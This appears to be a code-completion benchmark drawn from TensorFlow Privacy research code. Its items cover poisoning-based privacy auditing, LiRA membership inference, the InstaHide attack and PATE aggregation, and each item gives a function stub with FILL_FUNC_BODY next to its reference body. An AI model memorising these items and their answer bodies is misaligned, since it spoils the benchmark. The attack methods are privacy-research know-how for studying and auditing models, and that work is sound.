Searches over thresholds for the best epsilon lower bound and accuracy.
poison_scores: list of scores from poisoned models
unpois_scores: list of scores from unpoisoned models
pois_ct: number of poison points
alpha: confidence parameter
threshold: if None, search over all thresholds, else use given th... | 60 | 1,309 | 239 | 1,548 | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,395 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/audit_2020/audit.py | 92,93 | 74,120 | run_experiments | AuditAttack | 94,108 | 93,108 | class AuditAttack(object):
"""Audit attack class. Generates poisoning, then runs auditing algorithm."""
def __init__(self, train_x, train_y, train_function):
"""
train_x: training features
train_y: training labels
name: identifier for the attack
train_function: function returning membership scor... | class AuditAttack(object):
"""Audit attack class. Generates poisoning, then runs auditing algorithm."""
def __init__(self, train_x, train_y, train_function):
"""
train_x: training features
train_y: training labels
name: identifier for the attack
train_function: function returning membership scor... | (pois_x1, pois_y1), (pois_x2, pois_y2) = self.poisoning['data']
sample_x, sample_y = self.poisoning['pois']
poison_scores = []
unpois_scores = []
for i in range(num_trials):
poison_tuple = (pois_x1, pois_y1, sample_x, sample_y, i)
unpois_tuple = (pois_x2, pois_y2, sample_x, sample_y, n... | """Runs all training experiments."""
(pois_x1, pois_y1), (pois_x2, pois_y2) = self.poisoning['data']
sample_x, sample_y = self.poisoning['pois']
poison_scores = []
unpois_scores = []
for i in range(num_trials):
poison_tuple = (pois_x1, pois_y1, sample_x, sample_y, i)
unpois_tuple =... | 41 | 445 | 230 | 675 | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2021 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,396 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/audit_2020/audit_test.py | 26,27 | 1,91 | get_auditor | 27,38 | 27,38 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | poisoning = {}
datasets = (np.zeros((5, 2)), np.zeros(5)), (np.zeros((5, 2)), np.zeros(5))
poisoning["data"] = datasets
poisoning["pois"] = (datasets[0][0][0], datasets[0][1][0])
auditor = audit.AuditAttack(datasets[0][0], datasets[0][1],
dummy_train_and_score_function)
auditor... | poisoning = {}
datasets = (np.zeros((5, 2)), np.zeros(5)), (np.zeros((5, 2)), np.zeros(5))
poisoning["data"] = datasets
poisoning["pois"] = (datasets[0][0][0], datasets[0][1][0])
auditor = audit.AuditAttack(datasets[0][0], datasets[0][1],
dummy_train_and_score_function)
auditor... | 28 | 1,180 | 153 | 1,333 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | |
40,397 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/audit_2020/audit_test.py | 80,81 | 78,89 | test_run_experiments | AuditAttackTest | 81,89 | 81,89 | class AuditAttackTest(absltest.TestCase):
"""Nonparameterized audit.py test class."""
def test_run_experiments(self):
FILL_FUNC_BODY | class AuditAttackTest(absltest.TestCase):
"""Nonparameterized audit.py test class."""
def test_run_experiments(self):
FILL_FUNC_BODY | auditor = get_auditor()
pois, unpois = auditor.run_experiments(100)
expected = [0]*100
self.assertListEqual(pois, expected)
self.assertListEqual(unpois, expected)
| auditor = get_auditor()
pois, unpois = auditor.run_experiments(100)
expected = [0]*100
self.assertListEqual(pois, expected)
self.assertListEqual(unpois, expected)
| 14 | 48 | 80 | 128 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,398 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/audit_2020/audit_test.py | 58,69 | 38,78 | test_compute_results | AuditParameterizedTest | 69,78 | 69,78 | class AuditParameterizedTest(parameterized.TestCase):
"""Class to test parameterized audit.py functions."""
@parameterized.named_parameters(
('Test0', np.ones(500), np.zeros(500), 0.5, 0.01, 1,
(4.541915810224092, 0.9894593118113243)),
('Test1', np.ones(500), np.zeros(500), 0.5, 0.01, 2,
(... | class AuditParameterizedTest(parameterized.TestCase):
"""Class to test parameterized audit.py functions."""
@parameterized.named_parameters(
('Test0', np.ones(500), np.zeros(500), 0.5, 0.01, 1,
(4.541915810224092, 0.9894593118113243)),
('Test1', np.ones(500), np.zeros(500), 0.5, 0.01, 2,
(... | expected_thresh, expected_eps, expected_acc = expected_res
computed_res = audit.compute_results(poison_scores, unpois_scores,
pois_ct, alpha, threshold)
computed_thresh, computed_eps, computed_acc = computed_res
self.assertAlmostEqual(computed_thresh, expected_th... | expected_thresh, expected_eps, expected_acc = expected_res
computed_res = audit.compute_results(poison_scores, unpois_scores,
pois_ct, alpha, threshold)
computed_thresh, computed_eps, computed_acc = computed_res
self.assertAlmostEqual(computed_thresh, expected_th... | 23 | 691 | 139 | 830 | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... | # Copyright 2021, The TensorFlow Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed t... |
40,400 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/dp_newton/src/dataset_loader.py | 184,185 | 97,237 | protein_dataset | Mydatasets | 186,217 | 185,217 | class Mydatasets:
"""Represents datasets we use for expriments"""
def __init__(self):
data_dir = PATH_PREFIX + '/data'
cache_dir = PATH_PREFIX + '/cache_datasets'
if not os.path.exists(data_dir):
os.mkdir(data_dir)
if not os.path.exists(cache_dir):
os.mkdir(cache_dir)
def find_optima... | class Mydatasets:
"""Represents datasets we use for expriments"""
def __init__(self):
data_dir = PATH_PREFIX + '/data'
cache_dir = PATH_PREFIX + '/cache_datasets'
if not os.path.exists(data_dir):
os.mkdir(data_dir)
if not os.path.exists(cache_dir):
os.mkdir(cache_dir)
def find_optima... | path_protein = PATH_PREFIX + '/data/protein/'
if not os.path.exists(path_protein):
os.mkdir(path_protein)
protein_url = (
'https://kdd.org/cupfiles/KDDCupData/2004/data_kddcup04.tar.gz'
)
protein_file = PATH_PREFIX + '/data/protein/data_kddcup04.tar.gz'
response = request... | """protein dataset"""
path_protein = PATH_PREFIX + '/data/protein/'
if not os.path.exists(path_protein):
os.mkdir(path_protein)
protein_url = (
'https://kdd.org/cupfiles/KDDCupData/2004/data_kddcup04.tar.gz'
)
protein_file = PATH_PREFIX + '/data/protein/data_kddcup04.tar.gz... | 103 | 1,403 | 580 | 1,983 | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,403 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/dp_newton/src/opt_algs.py | 68,69 | 26,105 | wall_clock_alg | CompareAlgs | 70,75 | 69,75 | class CompareAlgs:
"""Class to run multiple iterative algorithms and compare the results."""
def __init__(self, lrp, optimal_w, hyper_dict):
"""Initialize the problem.
lr = an instance of MyLogisticRegression
dataset = dataset in the format of (features,label)
optimal_w = optimal minimizer of logi... | class CompareAlgs:
"""Class to run multiple iterative algorithms and compare the results."""
def __init__(self, lrp, optimal_w, hyper_dict):
"""Initialize the problem.
lr = an instance of MyLogisticRegression
dataset = dataset in the format of (features,label)
optimal_w = optimal minimizer of logi... | clock_time_dict = {}
for time_alg, name in zip(self.clock_time, self.names):
clock_time_dict[name] = [time_alg]
return clock_time_dict
| """compute the wall clock of different algorithms"""
clock_time_dict = {}
for time_alg, name in zip(self.clock_time, self.names):
clock_time_dict[name] = [time_alg]
return clock_time_dict
| 14 | 880 | 60 | 940 | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,406 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/dp_newton/src/run.py | 186,187 | 153,215 | summarize_stats | RunReleaseStats | 188,215 | 187,215 | class RunReleaseStats:
"""Helpfer function to run different algorithms and store the results"""
def __init__(self, compare_algs, algs_dict, num_rep=10):
self.compare_algs = compare_algs
self.algs_dict = algs_dict
self.num_rep = num_rep
self.losses = 0
self.gradnorm = 0
self.accuracy = 0
... | class RunReleaseStats:
"""Helpfer function to run different algorithms and store the results"""
def __init__(self, compare_algs, algs_dict, num_rep=10):
self.compare_algs = compare_algs
self.algs_dict = algs_dict
self.num_rep = num_rep
self.losses = 0
self.gradnorm = 0
self.accuracy = 0
... | self.run_algs()
result = {}
result["acc-best"] = self.compare_algs.accuracy_np().tolist()
for alg in self.losses:
result[alg] = {}
loss_avg = np.mean(np.array(self.losses[alg]), axis=0)
loss_std = np.std(np.array(self.losses[alg]), axis=0)
result[alg]["loss_avg"] = (loss_avg).tol... | """method to summarize the results"""
self.run_algs()
result = {}
result["acc-best"] = self.compare_algs.accuracy_np().tolist()
for alg in self.losses:
result[alg] = {}
loss_avg = np.mean(np.array(self.losses[alg]), axis=0)
loss_std = np.std(np.array(self.losses[alg]), axis=0)
... | 80 | 445 | 530 | 975 | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2020 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... |
40,408 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/instahide_attack_2020/step_7_visualize.py | 27,28 | 1,39 | toimg | 28,37 | 28,37 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | print(x.shape)
img = (x+1)*127.5
img = np.clip(img, 0, 255)
img = np.reshape(img, (10, 10, 32, 32, 3))
img = np.concatenate(img, axis=2)
img = np.concatenate(img, axis=0)
img = Image.fromarray(np.array(img,dtype=np.uint8))
return img
| print(x.shape)
img = (x+1)*127.5
img = np.clip(img, 0, 255)
img = np.reshape(img, (10, 10, 32, 32, 3))
img = np.concatenate(img, axis=2)
img = np.concatenate(img, axis=0)
img = Image.fromarray(np.array(img,dtype=np.uint8))
return img
| 30 | 263 | 139 | 402 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, s... | |
40,409 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/mi_lira_2021/dataset.py | 21,22 | 1,96 | record_parse | 22,30 | 22,30 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | features = tf.io.parse_single_example(serialized_example,
features={'image': tf.io.FixedLenFeature([], tf.string),
'label': tf.io.FixedLenFeature([], tf.int64)})
image = tf.image.decode_image(features['image']).set_sha... | features = tf.io.parse_single_example(serialized_example,
features={'image': tf.io.FixedLenFeature([], tf.string),
'label': tf.io.FixedLenFeature([], tf.int64)})
image = tf.image.decode_image(features['image']).set_sha... | 25 | 1,128 | 150 | 1,278 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | |
40,410 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/mi_lira_2021/dataset.py | 42,44 | 30,96 | from_arrays | DataSet | 44,47 | 44,47 | class DataSet:
"""Wrapper for tf.data.Dataset to permit extensions."""
def __init__(self, data: tf.data.Dataset,
image_shape: Tuple[int, int, int],
augment_fn: Optional[Callable] = None,
parse_fn: Optional[Callable] = record_parse):
self.data = data
... | class DataSet:
"""Wrapper for tf.data.Dataset to permit extensions."""
def __init__(self, data: tf.data.Dataset,
image_shape: Tuple[int, int, int],
augment_fn: Optional[Callable] = None,
parse_fn: Optional[Callable] = record_parse):
self.data = data
... | return cls(tf.data.Dataset.from_tensor_slices(dict(image=images, label=labels)), images.shape[1:],
augment_fn=augment_fn, parse_fn=None)
| return cls(tf.data.Dataset.from_tensor_slices(dict(image=images, label=labels)), images.shape[1:],
augment_fn=augment_fn, parse_fn=None)
| 6 | 862 | 59 | 921 | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2020 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
40,411 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/mi_lira_2021/inference.py | 34,35 | 1,139 | main | 39,131 | 35,131 | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | del argv
tf.config.experimental.set_visible_devices([], "GPU")
def load(arch):
return MemModule(network(arch), nclass=100 if FLAGS.dataset == 'cifar100' else 10,
mnist=FLAGS.dataset == 'mnist',
arch=arch,
lr=.1,
... | """
Perform inference of the saved model in order to generate the
output logits, using a particular set of augmentations.
"""
del argv
tf.config.experimental.set_visible_devices([], "GPU")
def load(arch):
return MemModule(network(arch), nclass=100 if FLAGS.dataset == 'cifar100' else... | 242 | 436 | 1,230 | 1,666 | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | |
40,413 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/mi_lira_2021/score.py | 21,22 | 1,67 | load_one | 25,59 | 22,59 | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | root = os.path.join(logdir,base,'logits')
if not os.path.exists(root): return None
if not os.path.exists(os.path.join(logdir,base,'scores')):
os.mkdir(os.path.join(logdir,base,'scores'))
for f in os.listdir(root):
try:
opredictions = np.load(os.path.join(root,f))
... | """
This loads a logits and converts it to a scored prediction.
"""
root = os.path.join(logdir,base,'logits')
if not os.path.exists(root): return None
if not os.path.exists(os.path.join(logdir,base,'scores')):
os.mkdir(os.path.join(logdir,base,'scores'))
for f in os.listdir(ro... | 83 | 306 | 473 | 779 | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | |
40,415 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/mi_lira_2021/train.py | 142,144 | 122,156 | train_op | MemModule | 144,151 | 144,151 | class MemModule(TrainLoop):
def __init__(self, model: Callable, nclass: int, mnist=False, **kwargs):
"""
Completely standard training. Nothing interesting to see here.
"""
super().__init__(nclass, **kwargs)
self.model = model(1 if mnist else 3, nclass)
self.opt = obja... | class MemModule(TrainLoop):
def __init__(self, model: Callable, nclass: int, mnist=False, **kwargs):
"""
Completely standard training. Nothing interesting to see here.
"""
super().__init__(nclass, **kwargs)
self.model = model(1 if mnist else 3, nclass)
self.opt = obja... | g, v = gv(x, y)
lr = self.params.lr * jn.cos(progress * (7 * jn.pi) / (2 * 8))
lr = lr * jn.clip(progress*100,0,1)
self.opt(lr, g)
self.model_ema.update_ema()
return {'monitors/lr': lr, **v[1]}
| g, v = gv(x, y)
lr = self.params.lr * jn.cos(progress * (7 * jn.pi) / (2 * 8))
lr = lr * jn.clip(progress*100,0,1)
self.opt(lr, g)
self.model_ema.update_ema()
return {'monitors/lr': lr, **v[1]}
| 30 | 433 | 119 | 552 | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
40,416 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/mi_lira_2021/train.py | 72,73 | 52,122 | train | TrainLoop | 76,122 | 73,122 | class TrainLoop(objax.Module):
"""
Training loop for general machine learning models.
Based on the training loop from the objax CIFAR10 example code.
"""
predict: Callable
train_op: Callable
def __init__(self, nclass: int, **kwargs):
self.nclass = nclass
self.params = EasyDi... | class TrainLoop(objax.Module):
"""
Training loop for general machine learning models.
Based on the training loop from the objax CIFAR10 example code.
"""
predict: Callable
train_op: Callable
def __init__(self, nclass: int, **kwargs):
self.nclass = nclass
self.params = EasyDi... | checkpoint = objax.io.Checkpoint(logdir, keep_ckpts=20, makedir=True)
start_epoch, last_ckpt = checkpoint.restore(self.vars())
train_iter = iter(train)
progress = np.zeros(jax.local_device_count(), 'f') # for multi-GPU
best_acc = 0
best_acc_epoch = -1
with Summ... | """
Completely standard training. Nothing interesting to see here.
"""
checkpoint = objax.io.Checkpoint(logdir, keep_ckpts=20, makedir=True)
start_epoch, last_ckpt = checkpoint.restore(self.vars())
train_iter = iter(train)
progress = np.zeros(jax.local_device_coun... | 180 | 292 | 658 | 950 | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
40,417 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/mi_poison_2022/plot_poison.py | 65,66 | 1,117 | fig_fpr_tpr | 66,110 | 66,110 | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... |
plt.figure(figsize=(4, 3))
# evaluate LiRA on the points that were not targeted by poisoning
do_plot_all(functools.partial(generate_ours, fix_variance=True),
keep[:, ~poison_mask], scores[:, ~poison_mask],
"No poison (LiRA)\n",
metric='auc',
)
# eva... |
plt.figure(figsize=(4, 3))
# evaluate LiRA on the points that were not targeted by poisoning
do_plot_all(functools.partial(generate_ours, fix_variance=True),
keep[:, ~poison_mask], scores[:, ~poison_mask],
"No poison (LiRA)\n",
metric='auc',
)
# eva... | 125 | 825 | 590 | 1,415 | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | # Copyright 2021 Google LLC
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# https://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, ... | |
40,419 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/pate_2017/aggregation.py | 104,105 | 1,131 | aggregation_most_frequent | 112,131 | 105,131 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Compute labels from logits/probs and reshape array properly
labels = labels_from_probs(logits)
labels_shape = np.shape(labels)
labels = labels.reshape((labels_shape[0], labels_shape[1]))
# Initialize array to hold final labels
result = np.zeros(int(labels_shape[1]))
# Parse each sample
for i in xran... | """
This aggregation mechanism takes the softmax/logit output of several models
resulting from inference on identical inputs and computes the most frequent
label. It is deterministic (no noise injection like noisy_max() above.
:param logits: logits or probabilities for each sample
:return:
"""
# Compute... | 68 | 1,220 | 246 | 1,466 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | |
40,420 | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy | /home/hieuvd/dung_repo/raw/stars_02/tensorflow_privacy/privacy/research/pate_2017/metrics.py | 23,24 | 1,50 | accuracy | 30,50 | 24,50 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applica... | assert len(logits) == len(labels)
if len(np.shape(logits)) > 1:
# Predicted labels are the argmax over axis 1
predicted_labels = np.argmax(logits, axis=1)
else:
# Input was already labels
assert len(np.shape(logits)) == 1
predicted_labels = logits
# Check against correct labels to compute ... | """
Return accuracy of the array of logits (or label predictions) wrt the labels
:param logits: this can either be logits, probabilities, or a single label
:param labels: the correct labels to match against
:return: the accuracy as a float
"""
assert len(logits) == len(labels)
if len(np.shape(logits)) ... | 68 | 291 | 188 | 479 | # Copyright 2016 The TensorFlow Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
